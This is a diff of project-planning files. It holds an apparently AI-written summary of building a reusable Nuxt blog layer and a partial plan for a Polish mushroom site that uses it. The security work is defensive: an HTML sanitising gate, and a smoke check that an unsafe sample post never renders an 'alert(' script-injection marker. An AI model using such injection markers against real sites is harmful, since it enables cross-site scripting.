+- **HTML gate (T-16-01).** Every v-html sink uses `gateJournalHtml`, which applies the three Go regexes. On top of that, page transforms gate and slim the data before it is serialized, so even the SSR payload never carries the unsafe body (the `notcontains=alert(` check proves this).
+- **SEO (D-13).** Per-page `useSeoMeta`, `og:image` from the featured image, canonicals that keep `?page=N` (whitelist locked to `page`), a sitemap source that pages posts at `per_page=30` and builds every loc from `journal.routes`, and `/rss.xml` proxying the API feed.
+- **i18n (D-16).** pl and en strings with identical key trees (21 leaves) are registered through `i18n:registerModule`, and only for locales the app enables. A pl-only build serves pl at `/blog`, and `/en/blog` answers 404.
+
+## Task Commits
+
+All code commits are in `../vue-journal-layer` (branch `main`, pushed):
+
+1. **Task 1: Prerequisite gate.** Resolved by the human, and the orchestrator re-ran the gate (gate-ok). There was no commit. The contract is recorded below.
+2. **Task 2: Tracer, git-tag install and SSR post page.** `6f6792f` (feat), tagged `v0.0.1`.
+3. **Task 3: Post list, categories, pagination, related posts, tokens and pl/en strings.** `c408eeb` (feat).
+4. **Task 4: Author and tag pages, SEO, sitemap, /rss.xml, README and v0.1.0.** `783426c` (feat), tagged `v0.1.0`.
+
+**Plan metadata:** the docs commit in summercms.go (this SUMMARY).
+
+Remote state: `refs/heads/main` 783426c, `refs/tags/v0.0.1` → 6f6792f, `refs/tags/v0.1.0` → 783426c (both are annotated tags).
+
+## Prerequisite contract
+
+This was read from `../sm-journal-plugin` at `3d533d4` (local `main`, not pushed) and from the quick-task SUMMARYs 261009-i6e and 261009-mgk. The plugin is the contract. This plan did not modify `../sm-journal-plugin`; its working tree shows only the pre-existing untracked `go.work.sum`.
+
+### D-20 author endpoints (plugin commits 908ade9, 57a347c)
+
+- **Routes.** `GET /_journal/api/v1/authors/{author}` and `GET /_journal/api/v1/authors/{author}/posts` are both anonymous and sit in the `throttle:journal-public-api` group. `{author}` is resolved in the handler, not by a route `Where`.
+- **Resolution.** The value is trimmed first.
+  - It matches `backend_users.golem15_bloghub_author_slug` first, which works even when the author has no posts.
+  - Otherwise it matches `login`, but only when that user has at least one published post.
+  - Soft-deleted users never resolve.
+  - A malformed value always answers 404: empty, over 255 bytes, invalid UTF-8, or containing control characters.
+- **Profile body.** `200 {"data":{"id":7,"slug":"jane-doe","first_name":"Jane","last_name":"Doe"}}`.
+  - It has exactly these four keys.
+  - `slug` is the author slug when set, otherwise the login.
+  - A missing name is `""`.
+  - **There is no public profile field beyond the names.** Bio, subtitle and avatar are not exposed; that is the `journal-author-profile-fields` todo.
+- **Posts.** `/authors/{author}/posts` returns the `/posts` envelope `{data:[post rows], meta:{current_page,last_page,per_page,total}}` with `serializePost` rows.
+  - Query keys are `page` (default 1, clamped to at least 1), `per_page` (default 9, clamped to 1..30) and `sort` (the `/posts` allow-list, default `published_at desc`).
+  - Only published posts appear.
+- **404 body.** `{"error":"Author not found"}` from both routes, with no other keys.
+- **Post rows.** The `author` object on post rows is still `{id, first_name, last_name, login}` with no slug, so the layer links authors by `login` and canonicalises to `data.slug`.
+
+### D-21 category content (plugin commits 740dcd0, f22d089, 3d533d4)
+
+- **Key.** `content` appears on every `GET /_journal/api/v1/categories` row, children included, with and without `include_empty=1`.
+- **Value.** It is an **HTML** string (not markdown) or `null`, stored and served as is. It is not translatable.
+- **Writes.** The admin save path is gated by `classes.CheckHTML`, the same three patterns. 16-03's direct UPDATE bypasses that gate, so the layer gate stays mandatory.
+- **Other keys** are unchanged: `id, name, slug, description, parent_id, nest_depth, post_count, children?`. Post rows' `categories[]` entries are still `{id, name, slug}`.
+
+### Differences from the plan's assumed interfaces
+
+- The author route parameter is `{author}` (a slug or a login), as assumed. The author posts route is `/authors/{author}/posts`, not `posts?author=`.
+- The author object has no public profile fields beyond the names. `JournalAuthor` is `{id, slug, first_name, last_name}`, and `JournalAuthorCard` renders the name and offers a slot. No bio is rendered, so there is no third v-html sink yet.
+- The category key is `content` as assumed, and it is HTML.
+
+## Files Created/Modified
+
+All of these are in `../vue-journal-layer`, a new repository:
+
+- `package.json`, `pnpm-lock.yaml`, `pnpm-workspace.yaml`, `.nvmrc`, `.gitignore`, `tsconfig.json`: the package (`main: ./nuxt.config.ts`, nuxt as a dev and peer dependency, no `prepare` script).
+- `nuxt.config.ts`: the layer config. It has absolute paths, `pages: true`, the modules declared once, runtime config, css, `seo.canonicalQueryWhitelist`, the sitemap source and no locales.
+- `lib/journal-module.ts`: route registration, public runtime config and the i18n registration hook.
+- `app/utils/{types,routes,client,htmlGate,view,pagination,seo,sitemap}.ts`: pure TS helpers that `node --test` can import.
+- `app/composables/{useJournalApi,useJournalLinks}.ts`.
+- `app/journal-pages/{PostIndexPage,PostPage,CategoryPage,TagPage,AuthorPage}.vue`.
+- `app/components/Journal/{PostBody,PostCard,PostList,PostMeta,FeaturedImage,Pagination,RelatedPosts,IndexHeader,CategoryHeader,AuthorCard,RssLink}.vue`.
+- `app/assets/css/{journal-tokens,journal-base}.css`, `app/app.vue`, `app/layouts/default.vue`.
+- `i18n/locales/{pl,en}.json`.
+- `server/routes/rss.xml.ts`, `server/api/__sitemap__/journal.ts`.
+- `testing/{fixture-api,nuxt-server,smoke-ssr}.mjs`, `testing/fixtures/acme/*`, `testing/expect-acme.txt` (28 checks).
+- `scripts/check-git-install.sh`, `.playground/{nuxt.config.ts,app/app.vue}`, `README.md`.
+
+## Decisions Made
+
+- **Payload shaping.** Pages run API rows through `toPostView` and `toListPost` in `useAsyncData` transforms. The payload drops `content` and `translations` and carries only gated `content_html`. This is a security and size win; see deviation 2.
+- **Forwarding.** XFF forwarding appends the Nuxt peer address. Go reads the rightmost untrusted hop and trusts `127.0.0.1/32`, so behind nginx it still picks the visitor, and a Nuxt server reached directly cannot have its bucket spoofed by a client-supplied header.
+- **Author links.** Authors are linked by `author.login`, because that is the only key on post rows. The author page canonicalises to the slug URL.
+- **Featured images.** They carry intrinsic `width="1200" height="630"` attributes, and the rendered crop comes from the `--journal-image-ratio` token. Attributes cannot be set from CSS tokens; this is how the plan's wording was read.
+- **Smoke checks.** The smoke additionally asserts that every categories request carried `include_empty=1`. The expectations also cover a draft post (404), the related-posts fallback, `/blog/author/jdoe` (login) and an exact canonical.
+
+## Deviations from Plan
+
+### Auto-fixed Issues
+
+**1. [Rule 3 - Blocking] The layer tsconfig.json could not extend `./.nuxt/tsconfig.json`**
+- **Found during:** Task 2 (first playground build).
+- **Issue:** `vite:vue` failed with `failed to resolve "extends":"./.nuxt/tsconfig.json"`. A layer has no `.nuxt` (only `.playground/.nuxt`), and neither does a consumer's `node_modules` copy.
+- **Fix:** I wrote a self-contained `tsconfig.json` (ESNext, Bundler resolution, `allowImportingTsExtensions`, strict).
+- **Files modified:** `../vue-journal-layer/tsconfig.json`.
+- **Verification:** The playground build and both git-install runs pass.
+- **Committed in:** 6f6792f.
+
+**2. [Rule 2 - Missing critical] The SSR payload carried unsafe HTML**
+- **Found during:** Task 2.
+- **Issue:** `useAsyncData` serializes the raw API row into `__NUXT_DATA__`, including an unsafe `content_html`, plus `content` and `translations`. The plan's `notcontains=alert(` check could not pass that way, and the raw HTML would reach the browser.
+- **Fix:** I added `app/utils/view.ts`, which provides `toPostView` (gates the body, sets `content_blocked`, drops `content` and `translations`, slims related posts) and `toListPost`. `JournalPostBody` gained a `blocked` prop. The category page gates `content` before it enters the payload.
+- **Files modified:** `app/utils/view.ts`, `PostBody.vue`, all pages.
+- **Verification:** The `/blog/unsafe-sample` smoke line passes (contains the blocked class, not `alert(`).
+- **Committed in:** 6f6792f and c408eeb.
+
+**3. [Rule 1 - Bug] ASI bug in the smoke-ssr.mjs option parser**
+- **Found during:** Task 2.
+- **Issue:** A line starting with `(` after a JSDoc cast was parsed as a call.
+- **Fix:** I rewrote the parser to collect options into an object.
+- **Committed in:** 6f6792f.
+
+**4. [Rule 2 - Missing critical] The forwarded XFF lacked the peer address**
+- **Found during:** Task 2.
+- **Issue:** Forwarding the client header alone would let a client choose its own rate-limit bucket if Nuxt is reachable directly.
+- **Fix:** `useJournalApi`, the sitemap source and `/rss.xml` append the peer address.
+- **Verification:** The smoke forwarding assertion passes; the fixture recorded `203.0.113.7, 127.0.0.1`.
+- **Committed in:** 6f6792f and 783426c.
+
+**5. [Rule 3 - Blocking] Minimal index, category, tag and author pages were shipped in v0.0.1**
+- **Found during:** Task 2.
+- **Issue:** The module registers every route that is not `false`, so the build failed (ENOENT) without the other page files.
+- **Fix:** I wrote simple working versions in Task 2. Tasks 3 and 4 replaced them with the full pages. These were not stubs: each fetched and rendered real data or answered 404.
+- **Committed in:** 6f6792f.
+
+**6. [Scope addition] `site.url`/`site.name` (`https://acme.test`, Acme Blog) in the playground and the scratch consumer config**
+- **Issue:** Without them, canonicals carry the random smoke port, and titles show a literal `%siteName`.
+- **Fix:** I added both, which makes the canonical assertions exact. The README documents that apps must set `site.url` and `site.name`.
+- **Committed in:** 783426c.
+
+**7. [Scope addition] TMPDIR guard in check-git-install.sh**
+- **Issue:** Nuxt's layer include regex `(^|/)vue-journal-layer(/|$)` matches every path below a directory named `vue-journal-layer`. A scratch app there gets the auto-import transform on all dependencies, and the build fails with `Identifier "h" has already been declared` in `node-mock-http`. I hit this with a workaround TMPDIR.
+- **Fix:** The script now refuses such a TMPDIR with a clear message, and the README notes it.
+- **Committed in:** 783426c.
+
+**8. [Scope addition] Extra i18n keys**
+- **Issue:** The components needed `journal.pagination.label`, `journal.post.by`, `journal.tag.empty` and `journal.author.empty` beyond the plan's list.
+- **Fix:** I added them to both locales. Parity is checked at 21 leaves.
+- **Committed in:** c408eeb.
+
+**9. [User decision, recorded per the orchestrator] The site repo is private**
+- `golem15/vue-grzybyfunkcjonalne-app` is **private** by the user's choice. It is checked over SSH (`git ls-remote git@git.golem15.com:golem15/vue-grzybyfunkcjonalne-app.git`), not anonymous HTTPS as Task 1's verify and `user_setup` assumed.
+- Only `vue-journal-layer` must be public (D-04 anonymous `git+https` install, verified by both git-install runs).
+- The site app is consumed only as a D-08 submodule over SSH. 16-02 and 16-04 must use the SSH URL for it.
+
+---
+
+**Total deviations:** 9 (5 auto-fixed under Rules 1 to 3, 3 small scope additions, 1 user decision on repo visibility).
+**Impact on plan:** All auto-fixes were needed for correctness, security or the build. Routes, components and option names match the plan's artifact list. The extra `app/utils/view.ts` module adds exported names; it changes none.
+
+## Issues Encountered
+
+- **The sandbox cannot write the `/tmp` pnpm store** (`ERR_SQLITE_ERROR attempt to write a readonly database`). The git-install runs used `TMPDIR=<session scratchpad>` with `npm_config_store_dir`/`pnpm_config_store_dir` pointed at the project-drive store. This is an environment workaround, and the script is unchanged by it.
+- **The `@nuxt/fonts` build step retries provider metadata fetches** (fonts.bunny.net, api.fontshare.com) that the sandbox blocks. These are warnings only and the builds succeed. Apps that declare font families will fetch at build time.
+- **nuxt-seo-utils warns** "treeShakeUseSeoMeta requires Unhead v3". This is harmless on Nuxt 4.4.8 with Unhead v2.
+- **The D-16 pl-only check** first ran from a test app under `.data/`, which Nuxt ignores (`useJournalApi is not defined`). I re-ran it by temporarily switching `.playground` to pl-only, building, running the smoke, and restoring the file (no diff).
+
+## Known Stubs
+
+None. Every page fetches and renders real API data. `JournalAuthorCard` shows only the name because the D-20 endpoint exposes no profile fields; that gap is tracked by the existing todo `journal-author-profile-fields.md`, not by a stub.
+
+## Threat Flags
+
+None beyond the plan's threat model.
+- `/rss.xml` and `/api/__sitemap__/journal` are new GET-only Nitro routes. They read from the runtime-config API base (T-16-02) and forward XFF (T-16-03).
+- No write route is called: `grep -rnE "method: *'(POST|PUT|DELETE)'" app server` prints nothing.
+
+## User Setup Required
+
+Done before resume. See [16-USER-SETUP.md](./16-USER-SETUP.md): both Gitea repos exist; the layer repo is public and the site repo is private (SSH).
+
+## Next Phase Readiness
+
+- 16-02 can depend on `"vue-journal-layer": "git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0"` and set `journal.routes` to `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`.
+- **The site app must set `site.url` and `site.name`.**
+- 16-02 can reuse `testing/fixture-api.mjs` and `testing/nuxt-server.mjs` from `node_modules/vue-journal-layer/testing/`.
+- The 16-05 unit tests can target the pure utils in `app/utils/*.ts`: routes, client, htmlGate, pagination, view, seo and sitemap.
+- **Before release, the plugin commits must be pushed.** The D-20 and D-21 commits in `../sm-journal-plugin` are local only, and the Go host build in 16-03 and 16-04 needs them pushed.
+
+## Self-Check: PASSED
+
+- FOUND: ../vue-journal-layer/{lib/journal-module.ts, app/utils/client.ts, app/utils/htmlGate.ts, app/utils/routes.ts, server/api/__sitemap__/journal.ts, scripts/check-git-install.sh, testing/smoke-ssr.mjs, README.md}
+- FOUND: commits 6f6792f, c408eeb and 783426c in vue-journal-layer, and on origin/main
+- FOUND: remote refs refs/tags/v0.0.1 and refs/tags/v0.1.0, and package.json version 0.1.0
+- Plan verification:
+  - The Task 1 gate was gate-ok, re-run by the orchestrator with the site repo checked over SSH.
+  - `check-git-install.sh v0.1.0` printed `check-git-install: ok v0.1.0`.
+  - The playground smoke printed `smoke-ssr: ok (28 checks)`.
+  - The consuming-application name scan printed nothing.
+
+---
+*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
+*Completed: 2026-10-09*

.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-02-PLAN.md

@@ -0,0 +1,303 @@
+---
+phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
+plan: 02
+type: execute
+wave: 2
+depends_on: ["16-01"]
+files_modified:
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-workspace.yaml
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.nvmrc
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.gitignore
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tsconfig.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/README.md
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/error.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/index.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/kontakt.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/pages/trwaja-prace.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteFooter.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/HeroSection.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/LatestPosts.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/AboutSection.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/CtaSection.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/ServicesSection.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/FaqSection.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/PageHero.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/Journal/IndexHeader.vue
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/contact.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/base.css
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/favicon.ico
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/hero-forest.webp
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/public/images/cta.png
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/categories.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/tags.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/authors.json
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/rss.xml
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect-ga.txt
+  - ../sm-grzybyfunkcjonalne-app/.gitmodules
+  - ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app
+autonomous: true
+requirements: [SC-1, SC-3]
+estimate:
+  tokens: 130000
+  raw_tokens: 130000
+  tasks: 3
+  confidence: low
+must_haves:
+  truths:
+    - "D-01/D-08: vue-grzybyfunkcjonalne-app is a Nuxt 4 SSR app (summercms standards: @nuxtjs/i18n, @nuxtjs/seo, @nuxt/fonts through the layer, pnpm, node --test) mounted as a submodule of sm-grzybyfunkcjonalne-app the way vue-summercmsio-app is mounted in sm-summercmsio-app."
+    - "D-04: the app depends on git+https://git.golem15.com/golem15/vue-journal-layer.git#v0.1.0 with the commit locked in pnpm-lock.yaml, and does not re-list the layer's Nuxt modules (Pitfall 4)."
+    - "D-15: the PHP public URLs answer on the new app with the same paths: /, /blog with ?page=N, /blog/:slug, /autor/:author, /kontakt, /trwaja-prace and the root /:category catch-all, where static routes win; /404, /error and unknown roots answer 404."
+    - "D-16: the app serves pl only, without a URL prefix; /en/blog answers 404."
+    - "D-07: routeRules swr caching keeps pages full SSR HTML and lets a newly published post appear without a rebuild."
+    - "D-11: the homepage hero, latest 3 posts, about, CTA and services sections and the blog header carry the current Polish copy, as components plus i18n strings, with no sitemanager toggles."
+    - "D-12: the main menu is typed config in app/data/menu.ts with the category dropdown resolved from the Journal API, and the FAQ what-mushrooms-can-give-you is static content in app/data/faq.pl.json; no menu or FAQ plugin is built (deferred to Phase 17)."
+    - "D-14: /kontakt shows the contact details and a mailto link; the app contains no contact or newsletter form and calls no new Go endpoint."
+    - "D-23: Google Analytics G-MLSV7WJ6W4 loads only when NUXT_PUBLIC_GA_ID is set; the default build and staging render no analytics script."
+    - "D-03: the refreshed design lives in the app as --journal-* token overrides and app CSS; the layer is unchanged by this plan."
+    - "D-24: /amanita-muscaria answers 200 with its content and an empty list."
+    - "No English locale for the site, no production cutover, no sitemanager/blocks port (CONTEXT deferred ideas)."
+  artifacts:
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
+      provides: "extends the layer; journal.routes for the PHP URLs; pl-only i18n; site config; swr routeRules; runtime gaId"
+      contains: "/autor/:author"
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/menu.ts"
+      provides: "typed MAIN_MENU config"
+      contains: "journal-categories"
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/data/faq.pl.json"
+      provides: "the 16 FAQ entries with the live Polish copy"
+      contains: "items"
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts"
+      provides: "gaHeadScripts(id) returning no scripts for an empty or malformed id"
+      contains: "googletagmanager"
+    - path: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt"
+      provides: "SSR smoke expectations for every D-15 URL form"
+      contains: "/autor/"
+    - path: "../sm-grzybyfunkcjonalne-app/.gitmodules"
+      provides: "submodule vue-grzybyfunkcjonalne-app"
+      contains: "vue-grzybyfunkcjonalne-app"
+  key_links:
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json"
+      to: "git.golem15.com/golem15/vue-journal-layer#v0.1.0"
+      via: "pnpm git dependency pinned by tag and lockfile commit"
+      pattern: "vue-journal-layer.git#v0.1.0"
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts"
+      to: "../vue-journal-layer/lib/journal-module.ts"
+      via: "journal.routes overrides: category /:category, author /autor/:author, tag false"
+      pattern: "category: '/:category'"
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/components/SiteHeader.vue"
+      to: "useJournalApi().listCategories()"
+      via: "the journal-categories menu item lists every category (include_empty=1) through useJournalLinks().categoryLink"
+      pattern: "listCategories"
+    - from: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue"
+      to: "../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/utils/analytics.ts"
+      via: "useHead({ script: gaHeadScripts(runtimeConfig.public.gaId) })"
+      pattern: "gaHeadScripts"
+---
+
+## Phase Goal
+
+ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
+
+MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
+
+This plan's slice: the grzybyfunkcjonalne.pl Nuxt app extends `vue-journal-layer` v0.1.0 and answers the PHP site's URLs with SSR HTML, then the homepage, menu, FAQ, kontakt, error pages and analytics carry the current Polish content in a refreshed design.
+
+<objective>
+Build `vue-grzybyfunkcjonalne-app` (D-08) on the layer (D-02, D-04) with the PHP URL map (D-15), pl-only i18n (D-16), SSR swr caching (D-07), the refreshed design (D-01, D-03), the content port (D-11, D-12, D-14) and GA through runtime config (D-23), and mount it as a submodule of the host.
+
+Purpose: SC-1 (the site, as content and routes) and SC-3 (every PHP page has a named Nuxt successor).
+Output: the app repo pushed to git.golem15.com and mounted at `../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app`.
+</objective>
+
+<execution_context>
+@~/.claude/msd-core/workflows/execute-plan.md
+@~/.claude/msd-core/templates/summary.md
+</execution_context>
+
+<context>
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-PATTERNS.md
+@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-01-SUMMARY.md
+@../vue-journal-layer/README.md
+@../sm-summercmsio-app/vue-summercmsio-app/nuxt.config.ts
+@../sm-summercmsio-app/vue-summercmsio-app/README.md
+@../sm-summercmsio-app/.gitmodules
+
+<interfaces>
+From vue-journal-layer v0.1.0 (16-01): configKey journal with routes { index, post, category, tag, author } (path or false), perPage { index, category, tag, author }, sort, relatedCount, rss; route names journal-index, journal-post, journal-category, journal-tag, journal-author; runtime keys journal.apiBase (NUXT_JOURNAL_API_BASE) and public.journal.apiBase; composables useJournalApi() (listPosts, getPost, listCategories, findCategory, listTags, getAuthor, listAuthorPosts) and useJournalLinks() (postLink, categoryLink, tagLink, authorLink, indexLink); utils gateJournalHtml, isSafeJournalHtml; overridable components Journal/{PostBody, PostCard, PostList, PostMeta, FeaturedImage, Pagination, RelatedPosts, IndexHeader, CategoryHeader, AuthorCard, RssLink}; tokens --journal-color-*, --journal-font-*, --journal-space-*, --journal-radius-*; testing tools node_modules/vue-journal-layer/testing/{fixture-api.mjs, nuxt-server.mjs, smoke-ssr.mjs} (expect grammar: STATUS PATH [contains=TEXT] [notcontains=TEXT] [type=PREFIX]; smoke-ssr flag --env KEY=VALUE).
+Live content facts (RESEARCH Content Inventory): hero title "Grzyby Funkcjonalne", text "Serwis informacyjny poświęcony grzybom funkcjonalnym", CTA "Czytam"; about "Czym są grzyby funkcjonalne?" with button "Poznaj naszą misję"; CTA "Skorzystaj z wiedzy ekspertów"; services "Dlaczego warto?" with 4 boxes; FAQ intro plus 16 Q&A; footer address "Wróblewskiego, 1A/1U, Namysłów", phone 666-681-225, email kontakt@grzybyfunkcjonalne.pl, links Artykuły blogowe, Golem15, Ciemność.com, Dobra bomba, social x.com/ophiel118; blog header "Artykuły" / "Przeczytaj nasze artykuły na temat grzybów funkcjonalnych"; colour seeds #0D705D, #27AE60, #138C74, #1AAC8F, #444444; fonts Open Sans, Jost, Poppins.
+</interfaces>
+</context>
+
+## Spec-less probe fallback
+
+Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
+
+## Artifacts this phase produces
+
+- Repo `git.golem15.com/golem15/vue-grzybyfunkcjonalne-app`, mounted as submodule `vue-grzybyfunkcjonalne-app` in `sm-grzybyfunkcjonalne-app` (`.gitmodules` entry, gitlink).
+- `nuxt.config.ts` keys: `extends: ['vue-journal-layer']`; `journal.routes` = `{ index: '/blog', post: '/blog/:slug', category: '/:category', author: '/autor/:author', tag: false }`; `journal.perPage` = `{ index: 12, category: 10, author: 10 }`; `journal.sort` = `published_at desc`; `i18n` pl only (`prefix_except_default`, `defaultLocale: 'pl'`); `site` (`url https://grzybyfunkcjonalne.pl`, `name Grzyby Funkcjonalne`); `routeRules` swr; `runtimeConfig.public.gaId` (env `NUXT_PUBLIC_GA_ID`); `robots.disallow`; `sitemap.exclude`; `linkChecker.excludeLinks`.
+- Pages `/` (`index.vue`), `/kontakt` (`kontakt.vue`), `/trwaja-prace` (`trwaja-prace.vue`), `app/error.vue`, layout `default.vue`.
+- Components `SiteHeader`, `SiteFooter`, `HeroSection`, `LatestPosts`, `AboutSection`, `CtaSection`, `ServicesSection`, `FaqSection`, `PageHero`, override `Journal/IndexHeader`.
+- Typed data `app/data/menu.ts` (`MenuItem`, `MAIN_MENU`), `app/data/contact.ts` (`CONTACT`), `app/data/faq.pl.json` (`{ slug, intro, items: [{ question, answer_html }] }`).
+- Util `app/utils/analytics.ts` (`GA_ID_PATTERN`, `gaHeadScripts`).
+- i18n `i18n/locales/pl.json` (site copy plus overrides of `journal.*` strings).
+- Fixtures `tests/fixtures/api/*` and expectations `tests/fixtures/expect.txt`, `tests/fixtures/expect-ga.txt`; package scripts `build`, `dev`, `preview`, `smoke:ssr`, `smoke:ga`.
+
+<!-- planner-discipline-allow: <form -->
+The `<form` literal appears in Task 3 only as the text of an SSR smoke expectation (a notcontains check written into tests/fixtures/expect.txt); the negative grep in Task 3 scans `app/` only, so the fixture line never trips it.
+
+<tasks>
+
+<task type="tracer">
+  <name>Task 1: Tracer — the site app extends layer v0.1.0 and answers the PHP post and category URLs as SSR HTML, mounted in the host</name>
+  <reversibility rating="one-way">D-15: the URL shapes are search-indexed; changing them after the cutover needs a 301 map. Already decided by the user in CONTEXT — recorded here, not re-asked.</reversibility>
+  <files>../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/package.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-lock.yaml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/pnpm-workspace.yaml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.nvmrc, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/.gitignore, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tsconfig.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/nuxt.config.ts, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/app.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/layouts/default.vue, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/app/assets/css/tokens.css, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/i18n/locales/pl.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/posts.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/categories.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/tags.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/authors.json, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/api/rss.xml, ../sm-grzybyfunkcjonalne-app/vue-grzybyfunkcjonalne-app/tests/fixtures/expect.txt, 